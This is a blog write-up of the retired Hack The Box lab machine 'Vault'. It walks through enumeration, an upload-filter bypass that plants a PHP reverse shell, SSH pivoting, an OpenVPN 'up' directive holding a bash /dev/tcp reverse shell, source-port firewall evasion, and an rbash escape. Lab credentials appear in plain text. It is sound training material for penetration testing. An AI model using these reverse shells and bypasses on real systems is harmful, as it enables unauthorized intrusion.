It’s been over three months since my last blog post. And for good reason! Because I’ve been busy with obtaining my OSCP certification! Now that I’ve passed the exam, I can dedicate some more time on blogging.
Anyhow, this blogpost covers this week’s retired machine named “Vault”. This is one of my favorites, as unlike other HTB machines, “Vault” actually does not expose itself immediately to the attacker. This means that you have to pivot between various hosts and traverse a firewall to be able to claim the infamous root.txt
file. To illustrate this concept, I’ve created a simple network diagram:
User access | Root access |
---|---|
File upload filter extension bypass | Sensitive information stored in /var/log/auth.log log file |
Dynamic SSH tunnel using discovered creds | Decryption of root.txt.gpg using discovered passphrase |
Reverse shell through OpenVPN config file |
Enumeration
As always we start off with a nmap scan to identify the open ports and services running on our target machine:
root@kali:~/HTB/vault# nmap -sC -sV -oA vault.htb 10.10.10.109
Starting Nmap 7.70 (https://nmap.org) at Sat Nov 3 20:12:43 2018
Nmap scan report for 10.10.10.109
Host is up (0.031s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 3 20:12:52 2018 -- 1 IP address (1 host up) scanned in 8.46 seconds
NOTE: Using the above syntax, nmap ‘only’ scans the top 1000 common TCP ports. I always like to start with these before I move on with scanning for less-popular TCP ports, as this scan can be time-consuming.
By looking at the nmap output, we can conclude that:
- There is a SSH daemon running on port 22. Nmap also shows the OpenSSH package version as well the operating system - Ubuntu. We can obtain the exact version of Ubuntu of our target, by looking up the package version on Launchpad. This page reveals that it was released for Ubuntu 16.04 (Xenial Xerus).
- There is an Apache web service running on port 80, the default page does not seem to have a site title.
By visiting the web service on port 80 using a web browser we are shown a simple web page with some text.
As innocent as this webpage might look, it is always important to consider how this information could be of use, from an enumeration perspective. The text contains some unusual words such as “slowdaddy” and “sparklays”. In this case it could be useful to spider the website using a tool called “cewl
”.
cewl -m 5 http://10.10.10.109/ -w vault.txt
The command above basically scrapes words from the webpage with a minimum word length of five characters. This results in the following wordlist:
financial
Sparklays
Welcome
Slowdaddy
interface
specialise
providing
orginisations
strong
database
solutions
promise
customers
proud
announce
first
client
still
under
construction
Next, we need to ensure that the words in our wordlist only contain lowercase characters:
tr A-Z a-z < vault.txt > vault_lc.txt
Finally, combine the custom wordlist with a popular online wordlist like ‘common.txt’ from SecLists:
cat 'vault_lc.txt' '/usr/share/seclists/Discovery/Web-Content/common.txt' > vault_wordlist.txt
GoBuster madness
We now have a tailored wordlist that we can use for enumerating web server directories and files on our target using GoBuster:
root@kali:~/HTB/vault# gobuster -w vault_wordlist.txt -u http://10.10.10.109:80/ -s '200,204,301,302,307,500' -x html,php,txt -e
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.109:80/
[+] Threads : 10
[+] Wordlist : vault_wordlist.txt
[+] Status codes : 200,204,301,302,307,500
[+] Extensions : html,php,txt
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2018/11/03 20:22:44 Starting gobuster
=====================================================
http://10.10.10.109:80/sparklays (Status: 301)
http://10.10.10.109:80/index.php (Status: 200)
http://10.10.10.109:80/index.php (Status: 200)
=====================================================
2018/11/03 20:23:22 Finished
=====================================================
Cool! GoBuster discovered the directory “/sparklays
” being active on the webserver. We already saw a reference to “sparklays” earlier when viewing the web page. Sending a simple HTTP GET request towards this directory shows us that we are not allowed to view the page in an unprivileged context:
Let’s not get held back here and enumerate the subdirectory (sparklays) as well, using GoBuster again:
root@kali:~/HTB/vault# gobuster -w vault_wordlist.txt -u http://10.10.10.109:80/sparklays/ -s '200,204,301,302,307,500' -x html,php,txt -e
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.109:80/sparklays/
[+] Threads : 10
[+] Wordlist : vault_wordlist.txt
[+] Status codes : 200,204,301,302,307,500
[+] Extensions : html,php,txt
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2018/11/03 20:27:01 Starting gobuster
=====================================================
http://10.10.10.109:80/sparklays/admin.php (Status: 200)
http://10.10.10.109:80/sparklays/design (Status: 301)
http://10.10.10.109:80/sparklays/login.php (Status: 200)
=====================================================
2018/11/03 20:27:59 Finished
=====================================================
Interesting, we discover two PHP files (login.php and admin.php) returning HTTP 200. In addition, there seems to be a subdirectory named “design
”. Let’s first have a look at the PHP files:
login.php:
Hmm, looks like a dead end. Let’s try admin.php.
admin.php:
A login form is always interesting because of the potential attack vectors (e.g. SQLi, default creds etc.). However, after tinkering with it for about 30 minutes, I was getting nowhere and concluded it to be a rabbit hole. Consequently, I decided to move on to my final lead, the “/design
” web directory. Again, enumerate this subdirectory with GoBuster:
root@kali:~/HTB/vault# gobuster -w vault_wordlist.txt -u http://10.10.10.109:80/sparklays/design/ -s '200,204,301,302,307,500' -x html,php,txt -e
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.109:80/sparklays/design/
[+] Threads : 10
[+] Wordlist : vault_wordlist.txt
[+] Status codes : 200,204,301,302,307,500
[+] Extensions : html,php,txt
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2018/11/03 21:02:12 Finished
=====================================================
http://10.10.10.109:80/sparklays/design/design.html (Status: 200)
http://10.10.10.109:80/sparklays/design/uploads (Status: 301)
=====================================================
2018/11/03 21:03:11 Finished
=====================================================
Returning two interesting entries, hopefully these will guide us somewhere. First, lets focus on the design.html
file. The webpage displays “Design Settings” with an option to “Change Logo”:
File upload - filter extension bypass
By clicking on “Change Logo” hyperlink we get redirected to http://10.10.10.109/sparklays/design/changelogo.php”
:
Oh wow! A file upload form! Remember the “/uploads
” directory? I bet uploaded files will be stored here. The next step is to attempt to upload a web shell. I generally like to the use this one: /usr/share/webshell/php/php-reverse-shell.php
that comes with Kali by default. My first attempt failed:
The web server does not seem to accept the PHP file extension. It expects image file types such as PNG, JPG etc. However, the file extension filtering is done based on blacklisting rather than whitelisting. Changing the extension of our webshell from “php” to “php5” allowed the file to be stored on the web server.
Now we can execute the webshell by browsing to it in the corresponding uploads directory:
http://10.10.10.109/sparklays/design/uploads/php-reverse-shell.php5
root@kali:~/HTB/vault# nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.10.109] 33470
Linux ubuntu 4.13.0-45-generic #50~16.04.1-Ubuntu SMP Wed May 30 11:18:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
dave pts/11 10.10.14.56 22:48 2:18m 0.14s 0.14s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
At last! A reverse shell connection returned to our system. We have established a foothold on a system named “ubuntu” with two virtual network interfaces. The IP-addresses assigned to these interfaces are 10.10.10.109 and 192.168.122.1.
Enumerating host: “ubuntu”
After some basic enumeration on the system I discovered three interesting files in the Desktop directory of a user named ‘dave’.
The key
file just contains a string, not sure what to do with this yet :
www-data@ubuntu:/home/dave/Desktop$ cat key
itscominghome
The ssh
file contains credentials:
www-data@ubuntu:/home/dave/Desktop$ cat ssh
dave
Dav3therav3123
Soon after, I found out that these credentials can be used to login to the “ubuntu” host itself by using the command ssh dave@10.10.10.109
and supplying the password.
The Servers
file refers to two IP-addresses. Both IP-addresses belong to the same network subnet as one of the network interface of the “ubuntu” host -> 192.168.122.1.
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
Scanning “DNS” host using nc revealed both TCP ports 22 and 80 to be open:
nc -z -v 192.168.122.4 1-99
[output omitted]
Connection to 192.168.122.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.122.4 80 port [tcp/http] succeeded!
[output omitted]
Setup dynamic SSH tunnel
Our next goal would be to enable the capability of enumerating the “DNS” host from our attackers machine as well. As this remote host is on a different network than our Kali machine, we have to setup a SSH tunnel. Use the following command to establish a dynamic SSH tunnel (SOCKS proxy) that tunnels all traffic through the “ubuntu” host on TCP port 9050.
ssh -f -N -D 9050 dave@10.10.10.109
NOTE: You could also accomplish this using local or remote port forwarding, I decided to go for dynamic port forwarding. It is easier and faster to configure as you don’t have to specify a source and destination port for each service.
Now configure the SOCKS proxy settings in Firefox, using a tool like FoxyProxy and browse to the web service running on the “DNS” host on TCP port 80. This displays the following web page:
Abusing the OpenVPN config file
When clicking on the “test your VPN configuration” hyperlink we get redirected to a page requesting input of an .ovpn (OpenVPN) file:
I started looking for OpenVPN config file vulnerabilities and stumbled on this webpage. It describes that that the “up
” parameter in OpenVPN files is used to execute a command. As we can ‘update’ the config file on the remote file system, we can abuse this parameter to achieve remote code execution. I copied the example code in the article and edited it, to come up with the following:
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i &> /dev/tcp/192.168.122.1/1337 0>&1'"
This ‘up
’ parameter enforces a reverse connection to the “ubuntu” host on port 1337. After setting up the corresponding listener on the “ubuntu” host and hitting the “update file” button, we gain a root shell on the “DNS” host! The “DNS” host has one virtual interface with the IP-address: 192.168.122.4.
Enumerating host: “DNS”
Similar to the “ubuntu” host, the “DNS” host also contains the SSH credentials in dave’s desktop directory, as well as the user.txt
file:
The corresponding credentials can be used to login to the “DNS” host interactively using SSH:
root@DNS:/home/dave# cat ssh
dave
dav3gerous567
By inspecting the output of the route
command we can see that there is a static route for the network 192.168.5.0/24. This means that traffic to this destination subnet will be send through the gateway, in this case the IP-address: 192.168.122.5. This is the host, known as “firewall”, as described in the /home/dave/Desktop/Servers
file.
root@DNS:/var/www/html# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
10.200.0.1 * 255.255.255.255 UH 0 0 0 tun0
10.200.0.1 * 255.255.255.255 UH 0 0 0 tun1
192.168.5.0 192.168.122.5 255.255.255.0 UG 0 0 0 ens3
192.168.122.0 * 255.255.255.0 U 0 0 0 ens3
root@DNS:/var/www/html#
It took me a while to find a reference to the 192.168.5.0 network, but eventually I found something interesting in the /var/log/auth.log
file. This log file contains entries of privileged commands that were executed by the root user.
root@DNS:/var/www/html# cat /var/log/auth.log
Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Sep 2 15:07:51 DNS sudo: pam_unix(sudo:session): session opened for user root by dave(uid=0)
Sep 2 15:08:55 DNS sudo: pam_unix(sudo:session): session closed for user root
Sep 2 15:09:01 DNS CRON[2459]: pam_unix(cron:session): session opened for user root by (uid=0)
Sep 2 15:09:01 DNS CRON[2459]: pam_unix(cron:session): session closed for user root
Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
Sep 2 15:10:20 DNS sudo: pam_unix(sudo:session): session opened for user root by dave(uid=0)
Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
There are three main findings based on the log output:
- There seems to be a remote system with the IP-address “192.168.5.2”.
- The nmap command is used in conjunction with the “source-port 4444’ parameter.
- Ncat is used to setup a listener and connect to TCP port 987, by sending the traffic with source port 53.
Enumerating host: “Vault”
Luckily, nmap is installed on the “DNS” host, we can use it to enumerate the IP-address that we discovered in the auth.log
file:
Scan using nmap:
root@DNS:/var/www/html# nmap -Pn -sS -sU -p- 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-03 22:09 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using
--system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0039s latency).
Not shown: 65535 open|filtered ports, 65533 filtered ports
PORT STATE SERVICE
53/tcp closed domain
4444/tcp closed krb524
Nmap reveals the hostname as being “Vault” and discovers two open TCP ports; 53 and 4444. Notice that TCP port 4444 was also being referenced in the auth.log
file -> COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Before we run this command we need to understand the goal of the “--source-port
parameter. In the nmap documentation I found that it can be used to spoof the source port number of the traffic, as some firewalls are configured to only allow traffic based on this attribute. When we run this command against the “Vault” system it reveals that it has another open port: TCP port 987.
root@DNS:/var/www/html# nmap 192.168.5.2 -Pn --source-port=4444 -f
Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-03 22:38 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using
--system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0031s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
987/tcp open unknown
Connecting to the Vault
To connect to the vault we need to take a closer look at the following log entry: COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
. It basically sets up a listener on port 1234 and sends the output to TCP port 987. The traffic is sent with source port 53. As seen earlier, TCP Port 987 on the remote host will only reveal itself when the traffic is send with the source port being either 53 or 4444.
We replicate the behavior of the ncat command and start a ncat listener on port 9999 on the “DNS” host:
root@DNS:/var/www/html# ncat -l 9999 --sh-exec "ncat 192.168.5.2 987 -p 53" &
[1] 16424
By viewing the netstat output we can validate that the “DNS” host is indeed listening on TCP port 9999:
root@DNS:/var/www/html# netstat -tanp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 16424/ncat
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 976/sshd
tcp 0 0 192.168.122.4:41770 192.168.122.1:1337 ESTABLISHED 16337/bash
tcp6 0 0 :::80 :::* LISTEN 1121/apache2
tcp6 0 0 :::1235 :::* LISTEN 16424/ncat
tcp6 0 0 :::22 :::* LISTEN 976/sshd
tcp6 1 0 192.168.122.4:80 192.168.122.1:40692 CLOSE_WAIT 15671/apache2
tcp6 0 0 192.168.122.4:80 192.168.122.1:40774 ESTABLISHED 15672/apache2
After connecting to TCP port 9999 using nc
we can see the fingerprint of yet another OpenSSH daemon!
root@DNS:/var/www/html# nc -nv 192.168.122.4 9999
nc -nv 192.168.122.4 9999
Connection to 192.168.122.4 9999 port [tcp/*] succeeded!
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Setting up a SSH connection, with the credentials dave/dav3gerous567
gives us access to the “Vault” host! The “Vault” host has one virtual interface with the IP-address: 192.168.5.2.
root@DNS:/home/dave# ssh dave@192.168.122.4 -p 9999
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
96 packages can be updated.
49 updates are security updates.
Last login: Mon Sep 3 16:48:00 2018
Escaping restricted shell
We’re not quite there yet! The execution of commands is limited due to a restricted shell. We can use awk
to escape the restricted shell:
Restricted shell:
dave@vault:~$ cat ro-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a2': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier
cat: ro: No such file or directory
dave@vault:~$ awk 'BEGIN {system("/bin/bash")}'
Decrypting root.txt.gpg file
In the home directory of Dave, an encrypted file named “root.txt.gpg” is stored. It is encrypted with a RSA Key with ID D1EB1F03
. But it seems that this key is not stored on the “Vault” system itself.
dave@vault:~$ gpg -d root.txt.gpg
gpg: encrypted with RSA key, ID D1EB1F03
gpg: decryption failed: secret key not available
dave@vault:~$ gpg --list-keys
gpg: /home/dave/.gnupg/trustdb.gpg: trustdb created
dave@vault:~$
I then started to look for the key on the other two hosts. In the end I found the corresponding RSA Key ID on the “ubuntu” host.
dave@ubuntu:~/Desktop$ gpg --list-keys
/home/dave/.gnupg/pubring.gpg
-----------------------------
pub 4096R/0FDFBFE4 2018-07-24
uid david <dave@david.com>
sub 4096R/D1EB1F03 2018-07-24
dave@ubuntu:~/Desktop$
An easy method of transferring small files is to encode it using base64
. As the base64
command was not available on the “vault” host, I decided to use base32
command to encode the root.txt.gpg
file.
dave@vault:~$ base32 root.txt.gpg
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHD
LIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJB
GMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55
AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRG
VEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOE
OPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFE
CKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3
AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJI
UWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTD
ZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ
6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36
G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE274
64GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBK
TTAX3UIRVNBQMYRI7XY=
Next, just copy the contents in a new file using your favorite editor and save it as root.txt.b32
somewhere on the file system of the “ubuntu” host”.
Finally, decode the file using the passphrase itscominghome
which was stored in the /home/dave/Desktop/key
file on the “ubuntu” host.
dave@ubuntu:~/Desktop$ cat root.txt.b32 | base32 -d | gpg -d
You need a passphrase to unlock the secret key for
user: "david <dave@david.com>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)
gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
"david <dave@david.com>"
ca468370b91d1f5906e31093d9bfe819
dave@ubuntu:~/Desktop$
Success! root.txt
file has been conquered! Until next time!